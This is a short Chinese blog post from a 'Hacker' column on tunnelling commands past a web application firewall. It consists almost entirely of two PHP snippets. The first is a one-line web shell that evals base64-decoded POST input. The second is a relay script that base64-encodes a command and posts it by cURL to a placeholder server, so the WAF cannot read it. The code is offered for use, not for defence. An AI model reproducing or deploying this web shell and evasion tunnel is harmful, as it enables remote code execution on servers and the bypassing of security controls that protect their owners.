加密隧道绕过WAF

最新推荐文章于 2025-03-23 12:52:12 发布

killapper

最新推荐文章于 2025-03-23 12:52:12 发布

阅读量678

点赞数

CC 4.0 BY-SA版权

分类专栏： Hacker

本文链接：https://blog.youkuaiyun.com/killapper/article/details/46398943

Hacker 专栏收录该内容

4 篇文章

订阅专栏

一下采用base64编码使WAF无法识别接收内容从而达到目的，在必要的情况下发送也要进行编码防止WAF检测到

server
<?php if($_POST['c']!='') @eval(base64_decode($_POST[z0]));
?>
tunnel
<?php
$handle=curl_init();
$DATA=array();
$DATA=$_POST;
$DATA['c']=base64_encode(substr($DATA['c'],1));
curl_setopt($handle,CURLOPT_URL,'http://xxx/xxx.php');
curl_setopt($handle,CURLOPT_HEADER,0);
curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($handle,CURLOPT_POST,1);
curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);
//curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1");
//curl_setopt($ch, CURLOPT_PROXYPORT, 1080);
$output=curl_exec($handle);
if($output === FALSE) {
    echo "cURL Error: " . curl_error($handle);
}
echo ($output);
curl_close($handle);
?>